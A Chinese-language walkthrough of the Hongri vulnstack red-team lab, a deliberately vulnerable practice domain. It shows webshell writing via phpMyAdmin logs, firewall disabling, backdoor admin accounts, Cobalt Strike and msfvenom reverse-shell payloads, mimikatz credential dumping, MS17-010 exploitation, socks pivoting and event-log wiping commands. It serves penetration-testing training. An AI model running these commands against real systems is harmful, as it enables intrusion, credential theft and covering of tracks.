【红日ATT&CK实战系列】红队实战(一)

文章目录

  • 网络拓扑
  • 环境搭建
  • 外网渗透
    • 信息收集
      • 端口扫描
      • 目录扫描
    • 漏洞利用
      • phpmyadmin拿shell
        • general_log_file写一句话
        • 蚁剑连接
      • 网站后台拿shell
      • 关闭防火墙
      • 新建用户,开启3389
  • 内网渗透
    • (一)CS
      • CS木马上线
      • 信息收集
        • hashdump
        • Mimikatz抓取明文密码
      • 权限提升
      • 横向移动
      • CS痕迹清楚
    • (二)MSF
      • msf木马上线
      • 信息收集
      • 横向移动
        • 添加路由、挂上Socks4a代理
        • nmap漏洞扫描
        • ms17-010命令执行
        • rdesktop远程连接

靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

开机密码:hongrisec@2019

进入环境后要先改系统密码

网络拓扑

【红日ATT&CK实战系列】红队实战(一)_第1张图片

环境搭建

先将 server2003 和 server2008 两台主机都设置为自定义VMnet1

VMnet1仅主机模式的子网地址改为192.168.52.0

【红日ATT&CK实战系列】红队实战(一)_第2张图片

【红日ATT&CK实战系列】红队实战(一)_第3张图片

Win7添加一块网卡,一块是NAT模式,另一块是VMnet1仅主机模式

【红日ATT&CK实战系列】红队实战(一)_第4张图片

IP地址:

win7:  192.168.52.128           10.9.75.6
2008:  192.168.52.138
2003:  192.168.52.141

【红日ATT&CK实战系列】红队实战(一)_第5张图片

启动Win7的Web服务

【红日ATT&CK实战系列】红队实战(一)_第6张图片

【红日ATT&CK实战系列】红队实战(一)_第7张图片

外网渗透

信息收集

端口扫描

nmap --min-rate 1000 10.9.75.6

【红日ATT&CK实战系列】红队实战(一)_第8张图片

sudo nmap -sT -sV  -sC -O -p 80,3306 10.9.75.6

sudo nmap --script=vuln -p 3306,80 10.9.75.6

【红日ATT&CK实战系列】红队实战(一)_第9张图片

目录扫描

御剑后台扫描工具

【红日ATT&CK实战系列】红队实战(一)_第10张图片

访问80端口

【红日ATT&CK实战系列】红队实战(一)_第11张图片

知道了网站的绝对路径C:/phpStudy/WWW

【红日ATT&CK实战系列】红队实战(一)_第12张图片

存在root:root弱口令

【红日ATT&CK实战系列】红队实战(一)_第13张图片

访问phpMyAdmin

【红日ATT&CK实战系列】红队实战(一)_第14张图片

漏洞利用

phpmyadmin拿shell

general_log_file写一句话

尝试能不能通过这个数据库管理页面写一句话,拿WebShell

SHOW GLOBAL VARIABLES LIKE "%secure%"

【红日ATT&CK实战系列】红队实战(一)_第15张图片

说明不能通过into outfile来写一句话

查看general_log是否开启

show global variables like "%general%"

【红日ATT&CK实战系列】红队实战(一)_第16张图片

开启general_log

set global general_log="on";

再次查询,此时日志功能就开启了

【红日ATT&CK实战系列】红队实战(一)_第17张图片

可以通过general_log_file指定为一个php后缀的文件,来写查询语句

set global general_log_file="C:\\phpstudy\\www\\shell.php";
select "";

【红日ATT&CK实战系列】红队实战(一)_第18张图片

蚁剑连接

【红日ATT&CK实战系列】红队实战(一)_第19张图片

进入文件管理,发现一个beifen.rar备份文件

【红日ATT&CK实战系列】红队实战(一)_第20张图片

下载到kali本地,然后解压

rar x beifen.rar

rar

解压:rar x FileName.rar

压缩:rar e FileName.rar

【红日ATT&CK实战系列】红队实战(一)_第21张图片

网站后台拿shell

http://10.9.75.6/yxcms/

【红日ATT&CK实战系列】红队实战(一)_第22张图片

http://10.9.75.6/yxcms/index.php?r=admin

登陆网站后台

【红日ATT&CK实战系列】红队实战(一)_第23张图片

新建前台模板,写一句话

【红日ATT&CK实战系列】红队实战(一)_第24张图片

【红日ATT&CK实战系列】红队实战(一)_第25张图片

; 

【红日ATT&CK实战系列】红队实战(一)_第26张图片

在拿到的备份文件中,找到模板的上传点

【红日ATT&CK实战系列】红队实战(一)_第27张图片

http://10.9.75.6/yxcms/protected/apps/default/view/default/

【红日ATT&CK实战系列】红队实战(一)_第28张图片

访问webshell.php

http://10.9.75.6/yxcms/protected/apps/default/view/default/webshell.php

【红日ATT&CK实战系列】红队实战(一)_第29张图片

关闭防火墙

netsh advfirewall show allprofile state     (显示防火墙)

netsh advfirewall set allprofiles state off (关闭防火墙)

【红日ATT&CK实战系列】红队实战(一)_第30张图片

新建用户,开启3389

net user saury 123.com /add # 添加账户密码
net localgroup administrators saury /add  # 添加为管理员权限

【红日ATT&CK实战系列】红队实战(一)_第31张图片

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 
# 开启3389端口

如果防火墙没关,rdp会登录失败

【红日ATT&CK实战系列】红队实战(一)_第32张图片

内网渗透

(一)CS

CS木马上线

kali既充当CS服务端,也充当CS客户端

启动服务端

【红日ATT&CK实战系列】红队实战(一)_第33张图片

客户端连接

【红日ATT&CK实战系列】红队实战(一)_第34张图片

开启监听

【红日ATT&CK实战系列】红队实战(一)_第35张图片

生成木马

【红日ATT&CK实战系列】红队实战(一)_第36张图片

【红日ATT&CK实战系列】红队实战(一)_第37张图片

点击Generate生成木马artifact_x64.exe,保存到 一个位置

木马上线

【红日ATT&CK实战系列】红队实战(一)_第38张图片

【红日ATT&CK实战系列】红队实战(一)_第39张图片

执行完木马文件后,CS木马就上线了

image-20231117133734929

目标上线之后,我们第一步首先要做的就是先将睡眠时间设置为0

【红日ATT&CK实战系列】红队实战(一)_第40张图片

在会话交互框中输入命令:sleep 0,将睡眠时间设置为0

【红日ATT&CK实战系列】红队实战(一)_第41张图片

在会话交互框中输入shell whoami可以瞬间得到如下所示的回显,说明睡眠时间设置为0完成

【红日ATT&CK实战系列】红队实战(一)_第42张图片

信息收集

一些CS内网信息收集的命令

shell whoami                //显示administrator权限
shell systeminfo            //查看系统信息
shell ipconfig /all         //查看是否存在域

shell net time /domain          //获取当前域控制器的时间 输入该命令可能存在如下三种情况:存在域,当前用户不是域用户;存在域,当前用户是域用户;不存在域。

shell net view /domain      //查看所有域

shell nbtbios               //快速探测内网

shell net group "domain computers" /domain  //查看域控制器主机名

shell nltest /domain_trusts //查看域信任关系

shell net accounts /domain  //查看域内账号密码信息

shell nltest /dclist:hacker //查看当前域的域控制器
shell net group "Domain Controllers" /domain        //获取域控制器列表
shell net group "Domain Admins" /domain             //获取域管理员列表
shell Tasklist /v            //列出进程和进程用户

shell systeminfo   

【红日ATT&CK实战系列】红队实战(一)_第43张图片

【红日ATT&CK实战系列】红队实战(一)_第44张图片

查看域中的机器

【红日ATT&CK实战系列】红队实战(一)_第45张图片

hashdump

【红日ATT&CK实战系列】红队实战(一)_第46张图片

【红日ATT&CK实战系列】红队实战(一)_第47张图片

Mimikatz抓取明文密码

【红日ATT&CK实战系列】红队实战(一)_第48张图片

或者直接输入命令也可以执行logonpasswords

【红日ATT&CK实战系列】红队实战(一)_第49张图片

权限提升

利用ms15-051

【红日ATT&CK实战系列】红队实战(一)_第50张图片

【红日ATT&CK实战系列】红队实战(一)_第51张图片

将win7提成SYSTEM权限

横向移动

通过 Win7 跳板机,横向渗透拿下内网域内的域成员主机和域控主机

新建一个SMB监听器

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 psexecStageless Payload上线

【红日ATT&CK实战系列】红队实战(一)_第52张图片

【红日ATT&CK实战系列】红队实战(一)_第53张图片

拿下域控 主机

【红日ATT&CK实战系列】红队实战(一)_第54张图片

看到∞∞这个字符 ,这就是派生的SMB Beacon

查看其IP地址

【红日ATT&CK实战系列】红队实战(一)_第55张图片

再次通过拿下的域控拿下其他域成员机

【红日ATT&CK实战系列】红队实战(一)_第56张图片

【红日ATT&CK实战系列】红队实战(一)_第57张图片

【红日ATT&CK实战系列】红队实战(一)_第58张图片

【红日ATT&CK实战系列】红队实战(一)_第59张图片

横向成功!!!

CS痕迹清楚

根据入侵的路径依次删除上传的工具、删除Web日志、FTP日志等。

清除安全日志

shell wevtutil cl Security

清除系统日志,

shell wevtutil cl System

清除应用日志

shell wevtutil cl Application

清除启动日志

shell wevtutil cl Setup

清除RDP登录日志

shell wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx /q:"*[EventData[(Data[@Name='IpAddress']!='127.0.0.1')]]" /ow:true 

删除防火墙日志

shell del C:\Windows\System32\LogFiles\Firewall\pfirewall.log

删除PowerShell执行历史记录

shell del 
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

(二)MSF

msf木马上线

制作msf木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=your-IP LPORT=your-PORT -f exe -o /home/kali/tmp/shell.exe

【红日ATT&CK实战系列】红队实战(一)_第60张图片

开启msf监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.9.75.3
set lport 4567
run

通过蚁剑将生成的木马上传并运行

【红日ATT&CK实战系列】红队实战(一)_第61张图片

木马成功上线,进行system提权

【红日ATT&CK实战系列】红队实战(一)_第62张图片

信息收集

首先获取目标主机的shell

【红日ATT&CK实战系列】红队实战(一)_第63张图片

出现乱码,可以使用chcp 65001解决乱码问题

查看路由表

route print

【红日ATT&CK实战系列】红队实战(一)_第64张图片

可以看出内网网段是192.168.52.0/24

查看系统信息

systeminfo

【红日ATT&CK实战系列】红队实战(一)_第65张图片

查看是否在域内

ipconfig /all

【红日ATT&CK实战系列】红队实战(一)_第66张图片

net view /domain  #查询当前主机是否加入域,如果加入则列出域名

【红日ATT&CK实战系列】红队实战(一)_第67张图片

net view //查看域内主机

【红日ATT&CK实战系列】红队实战(一)_第68张图片

【红日ATT&CK实战系列】红队实战(一)_第69张图片

得到域内其他主机地址

  • OWA:192.168.52.138
  • ROOT-TVI862UBEH:192.168.52.141

查看域内用户

net user /domain

获取主机用户密码哈希

hashdump

image-20231117155419379

用户哈希数据的输出格式为:

用户名:SID:LM哈希:NTLM哈希:::

【红日ATT&CK实战系列】红队实战(一)_第70张图片

这是因为当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,需要修改注册表等用户重新登录后才能成功抓取。

MSF使用_MSF中kiwi(mimikatz)模块的使用

尝试抓取域内的账号密码:利用 msf 的 kiwi 模块

load kiwi #加载kiwi模块
help kiwi #查看kiwi模块的使用

注意执行需要system权限

creds_all         #列举所有凭据
creds_kerberos    #列举域内账号密码

横向移动

为了让 msf 能访问内网的其他主机,即 52 网段的攻击流量都通过已渗透的这台目标主机(Windows7)的meterpreter会话来传递,需要建立socks反向代理。

注:添加路由一定要在挂代理之前,因为代理需要用到路由功能

添加路由、挂上Socks4a代理

使用 msf+proxychains 搭建socks4a隧道,设置内网路由

run autoroute -s 192.168.52.0/24  # 添加内网的路由
run autoroute -p  # 查看路由

【红日ATT&CK实战系列】红队实战(一)_第71张图片

暂时把会话挂起来background

use auxiliary/server/socks_proxy    //使用socks代理

set SRVHOST 10.9.75.3        //MSF本机的IP地址

set VERSION 4a                      //设置socks代理的版本

exploit            //开始代理

【红日ATT&CK实战系列】红队实战(一)_第72张图片

然后在 proxychains 的配置文件 /etc/proxychains4.conf,添加Kali本机的1080端口:

sudo vim /etc/proxychains4.conf 

【红日ATT&CK实战系列】红队实战(一)_第73张图片

【红日ATT&CK实战系列】红队实战(一)_第74张图片

然后执行命令时,前面加上 proxychains 即可

【红日ATT&CK实战系列】红队实战(一)_第75张图片

nmap漏洞扫描
proxychains nmap --script=vuln 192.168.52.141

【红日ATT&CK实战系列】红队实战(一)_第76张图片

ms17-010命令执行

知道了目标主机中存在一些漏洞:MS08-067、MS17-010等等,我们就可以用MS17-010的EXP来拿下目标主机,MS17-010的EXP打不了,它这个漏洞有很多莫名其妙的问题,很多其它的因素会导致各种各样的问题出现,打不了并不代表这个漏洞利用不了,有别的玩法,同样也是用MS17-010,MS17-010这个漏洞不光是可以用来拿权限,我们还可以用它来干其它的操作,比如说我们可以用这个漏洞来添加一个账户,因此我们需要用到对应的一个模块,在kali的具有MSF的那个终端中输入命令:这个模块可以在MSF中输入search ms17-010来搜索到,输入完命令之后,会出现很多模块

【红日ATT&CK实战系列】红队实战(一)_第77张图片

set rhosts 192.168.52.141        //设置IP地址为目标主机的IP地址

set COMMAND net user hack 123.com /add    //设置要添加的账号和密码,密码在设置的时候要注意:这里的密码设置有一个策略的问题存在,所以我们在设置密码的时候需要搞得复杂一点,不然过不了

exploit        //执行

得到以下的结果,说明执行成功

【红日ATT&CK实战系列】红队实战(一)_第78张图片

继续执行,将创建的hack用户添加到管理员组

set command net localgroup administrators hack /add
exploit

【红日ATT&CK实战系列】红队实战(一)_第79张图片

查看用户是否添加到管理员组里面

set command net localgroup administrators

【红日ATT&CK实战系列】红队实战(一)_第80张图片

开启3389

因为开启3389端口命令中有两个双引号,如果整条命令外面不用单引号扩一下或者用双引号扩了,会出现一些符号闭合上的问题

set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

【红日ATT&CK实战系列】红队实战(一)_第81张图片

rdesktop远程连接

安装rdesktop

sudo apt install rdesktop
proxychains rdesktop 192.168.52.141

【红日ATT&CK实战系列】红队实战(一)_第82张图片

【红日ATT&CK实战系列】红队实战(一)_第83张图片

你可能感兴趣的:(#,靶机系列,网络,靶机,内网)